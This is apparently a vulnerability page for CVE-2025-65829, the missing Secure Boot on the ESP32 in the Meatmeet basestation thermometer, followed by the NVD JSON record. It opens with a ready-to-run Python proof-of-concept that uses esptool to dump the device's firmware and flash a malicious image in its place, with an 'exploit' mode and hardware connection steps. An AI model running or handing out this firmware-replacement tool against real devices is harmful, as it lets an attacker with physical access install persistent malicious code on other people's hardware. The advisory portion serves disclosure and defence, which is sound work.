CVE-2025-65829

#!/usr/bin/env python3 """ CVE-2025-65829 PoC: ESP32 Secure Boot Disabled - Firmware Dump and Flash Tool Note: This PoC demonstrates the vulnerability for authorized security testing only. """ import esptool import sys def dump_firmware(flash_mode='dio', flash_size='4MB', com_port='/dev/ttyUSB0'): """ Dump existing firmware from vulnerable ESP32 device """ print(f"[*] Connecting to ESP32 device on {com_port}...") # Step 1: Read firmware from flash memory # Since Secure Boot is disabled, no signature verification is performed cmd = [ '--port', com_port, '--baud', '115200', 'read_flash', '0x1000', # Application partition start '0x3E0000', # Size to read (4MB - bootloader) 'firmware_dump.bin' ] print("[*] Dumping firmware... (Secure Boot not enforced)") esptool.main(cmd) print("[+] Firmware dumped successfully") def flash_malicious_firmware(com_port='/dev/ttyUSB0', malicious_bin='malicious_fw.bin'): """ Flash modified or malicious firmware to ESP32 """ print(f"[*] Flashing malicious firmware to ESP32 on {com_port}...") # Step 2: Erase flash and write new firmware # No signature verification = arbitrary code execution cmd = [ '--port', com_port, '--baud', '921600', 'write_flash', '0x1000', # Flash address malicious_bin ] print("[*] Writing malicious firmware... (No integrity check)") esptool.main(cmd) print("[+] Malicious firmware flashed successfully") print("[+] Device will execute arbitrary code on next boot") def main(): if len(sys.argv) < 2: print("Usage: python exploit_esp32_secureboot.py <action> [port]") print("Actions: dump, flash, exploit") sys.exit(1) action = sys.argv[1] port = sys.argv[2] if len(sys.argv) > 2 else '/dev/ttyUSB0' if action == 'dump': dump_firmware(com_port=port) elif action == 'flash': flash_malicious_firmware(com_port=port) elif action == 'exploit': dump_firmware(com_port=port) flash_malicious_firmware(com_port=port) if __name__ == '__main__': main() # Hardware connection requirements: # - USB-to-Serial adapter connected to ESP32 UART pins (TX, RX, GND) # - GPIO0 held LOW during reset to enter download mode # - No Flash encryption or Secure Boot verification present

{"cve": {"id": "CVE-2025-65829", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:08.690", "lastModified": "2025-12-30T18:56:15.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ESP32 system on a chip (SoC) that powers the Meatmeet basestation device was found to lack Secure Boot. The Secure Boot feature ensures that only authenticated software can execute on the device. The Secure Boot process forms a chain of trust by verifying all mutable software entities involved in the Application Startup Flow. As a result, an attacker with physical access to the device can flash modified firmware to the device, resulting in the execution of malicious code upon startup."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:*", "matchCriteriaId": "9B669DA2-CF06-461F-B624-DCD0359D1656"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:*", "matchCriteriaId": "1661B540-36E1-4BF0-BC63-9EC952560B54"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-secure-boot-disabled-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Device/Secure-Boot-Disabled.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}